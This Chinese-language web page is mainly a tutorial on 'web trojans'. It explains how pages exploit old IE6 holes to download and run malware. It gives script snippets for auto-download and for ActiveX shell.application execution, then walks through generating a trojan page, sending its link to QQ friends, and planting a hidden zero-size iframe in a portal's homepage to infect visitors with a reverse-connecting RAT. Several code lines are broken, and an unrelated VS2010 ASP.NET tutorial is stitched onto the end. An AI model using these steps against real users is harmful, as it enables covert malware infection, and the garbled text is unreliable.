以上只是网页木马的两种形式，实际上网页木马还可以挂在多媒体文件（RM、RMVB、WMV、WMA、Flash）、电子邮件、论坛等多种文件和场合上。很可怕吧，那么用户如何防范网页木马呢？下面我们就先从网页木马的攻击原理说起。 一、网页木马的攻击原理
首先明确，网页木马实际上是一个HTML网页，与其它网页不同的是该网页是黑客精心制作的，用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢？因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞，让IE在后台自动下载黑客放置在网络上的木马并运行（安装）这个木马，也就是说，这个网页能下载木马到本地并运行（安装）下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行（安装）过程就自动开始。
有朋友会说，打开一个网页，IE浏览器真的能自动下载程序和运行程序吗？如果IE真的能肆无忌惮地任意下载和运行程序，那天下还不大乱。实际上，为了安全，IE浏览器是禁止自动下载程序特别是运行程序的，但是，IE浏览器存在着一些已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。 ⒈自动下载程序
<SCRIPT LANGUAGE="icyfoxlovelace" src="
小提示：代码说明
a. 代码中“src”的属性为程序的网络地址，本例中
“
b. 也可以把木马程序上传到免费的主页空间上去，但免费空间出于安全的考虑，多数不允许上传exe文件，黑客可能变通一下把扩展名exe改为bat或com，这样他们就可以把这些程序上传到服务器上了。 把这段代码插入到网页源代码的</BODY>„</BODY>之间（如图1），然后用没打补丁的IE6打开，接下来，打开IE的临时目录<Temporary Internet Files>，
你会发现，在该文件夹中有一个“1.exe”文件，这也就是说，该网页已自动下载了我放置在Web服务器上的灰鸽子木马。
图1
网页
木马示例
小提示：灰鸽子木马
为什么一定要用灰鸽子木马呢？因为灰鸽子是反弹型木马，该木马能绕过天网等大多数防火墙的拦截，中马后，服务端即被控端能主动连接控制端（客户端），也就是说，一旦被控端连接到Internet，在控制端那里，被控端就会“自动上线”（如图2）。
图2 灰鸽子控制短示例（汗！又一大毒枭:)）
⒉自动运行程序
<SCRIPT LANGUAGE="javascript" type="text/javascript"> var shell=new ActiveXObject("shell.application");
shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb(); </SCRIPT> 把这段代码插入到网页源代码的</BODY>„</BODY>之间，然后用IE打开该网页，你会发现，这段代码可以在没有打相关补丁的IE6中自动打开记事本。 这段代码使用了shell.application控件，该控件能使网页获得执行权限，替换代码中的“Notepad.exe”（记事本）程序，可以用它自动运行本地电脑上的任意程序。
通过以上的代码我们可以看出，利用IE的漏洞，也就是说在网页中插入适当的代码，IE完全可以自动下载和运行程序，不过，IE一旦打了相关补丁，这些代码就会失去作用。另外，这些代码要运行和下载程序，有些杀毒软件的网页监控会视它们为病毒，为了逃避追杀，黑客可能会使用一些工具对网页的源代码进行加密处理（如图3）。 图3 加密后的网页代码
二、网页木马的基本用法
理解了网页木马攻击的原理，我们可以制作自己的网页木马，但这需要你根据IE漏洞写出利用代码。实际上，在网上有很多高手已写出了一些漏洞的利用代码，有的还把它写成了可视化的程序。在搜索引擎输入“网页木马生成器”进行搜索，你会发现，在网上有很多利用IE的各种漏洞编写的网页
木马生成器，它们大都为可视化的程序，只要你有一个木马（该木马必须把它放置到网络上），
利用这些生成器你就可以立即生成一个网页，该网页就是网页木马，只要他人打开这个网页，该网页就可以自动完成下载木马并运行（安装）木马的过程。 在我的电脑上我已下载了一个网页木马生成器，下面我们来看怎么生成网页木马并让他人中木马。
第一步：启动该网页木马生成器，如图4所示，在文本框中输入木马的网络地址，最后单击“生成”。
图4
网页木马生成器
第二步：在网页木马生成器的安装文件夹会生成一个网页文件，该文件就是我们在上一步生成的网页木马。上传该文件到自己的Web服务器或免费主面空间。 现在好了，把上述网页在服务器上的地址（网址）通过QQ发给自己的好友，一旦他访问了该网页，该网页就会在他的电脑上自动下载并运行你放置在网络上的木马。
现在你该明白安全专家劝告的“不要打开陌生人发来的网络地址”这句话的真谛了吧！实际上，即使人人都不打开陌生人发来的网址，也仍然有一些人“飞蛾补灯，自寻死路”，因为若大的Internet，总会有一些人会有意或无意地访问这些网址，而且，有些网页木马，还挂在一些知名网站上（根据知名网站的访问量，你算算吧，每天有多少人中了木马！）。
小提示：你可能还没想到，看电影，在论坛查看或回复帖子也能中木马。实际上，网页木马还可以挂在多媒体文件、电子邮件、论坛、CHM电子书上，这样，用户一旦观看电影、查看或预览邮件（主要是一些用电子邮件群发器发送的垃圾邮件）、参与帖子，打开电子书，用户就会中网页木马。
在下面我们只介绍黑客如何在知名网站上挂网页木马。下面来看这一段代码：iframe src="width="0" height="0" frameborder="0"></iframe>
小提示：“src”的属性“
把这段代码插入到某门户网站首页源代码的</BODY>„</BODY>之间，从表面上看，插入后该门户的首页并没有什么变化，但是，所有访问了该门户网站首页的人都会中木马，为什么会这样呢？这是因为这段代码中<iframe>标签把网页木马网页隐藏性地“包含”在了插入代码的网页当中。
<iframe>也叫浮动帧标签，它可以把一个HTML网页嵌入到另一个网页里实现“画中画”的效果（如图5），被嵌入的网页可以控制宽、高以及边框大小和是否出现滚动条等。在上代代码中，因为把宽（width）、高（height）、边框（frameborder）都设置为了“0”，所以，上述代码插入到门户网站的首页后，网站的首页不会发生变化，但是，由于嵌入的网页实际上已经打开了，所以网页上的下载木马和运行木马的脚本还是会随着门户首页的打开而执行的。
图5 iframe标签示例
也许有人会问，如何把上述代码插入到门户网站首页的源代码中？这个问题问得好，本人才疏学浅，确实无法进入他们的服务器修改网页，但是黑客如果发现了这些服务器上的漏洞且获得了webshell权限，那么修改他们的网页就跟在本地制作一个网页一样容易。
有人还问，拿到服务器的webshell权限容易吗？如果你对网络安全比较关注，你会发现，经常有这个网站被黑了，那个网站的主页被修改了的新闻爆出。 有人还问，门户的服务器几乎无漏洞可找，个人服务器的漏洞较多，
你能进入吗？本人不是黑客，中华人民共和国的法律规定，入侵和篡改他人服务器上的信息是违法行为，希望大家共同维护网络安全。
利用VS2010制作asp.net网站（带数据库连接）的方法
1. 运行VS2005/2008/2010，选择新建“网站”
2. 在弹出窗口中选中“Asp.net 网站”，确定。
3.
下图是工作区
4. 双击右侧的“Default.aspx”，左侧界面发生变化。
5. 左下角的“设计”和“源”两个按钮点击后界面在设计状态和源代码状态之间变化，如
下图所示。
6. 我们切换到“设计”状态，展开左侧的“工具栏”
下图所示
，找到数据下的“GridView”，如
7. 点击“GridView”将其拖放到右侧的空白区域，释放。
8.选中下图右上角的三角形，出现右侧的框，在“选择数据源”下拉框中选中“新建数据源”选项。
9在下图选中“数据库”
.在
下
10.第一次进来需要新建连接，则点击下图右侧的“新建连接”，如果是下一次再做相同的功能，则直接点击左侧的下拉框，选择一个我们已经建立好的连接即可。
11.新建连接的状态
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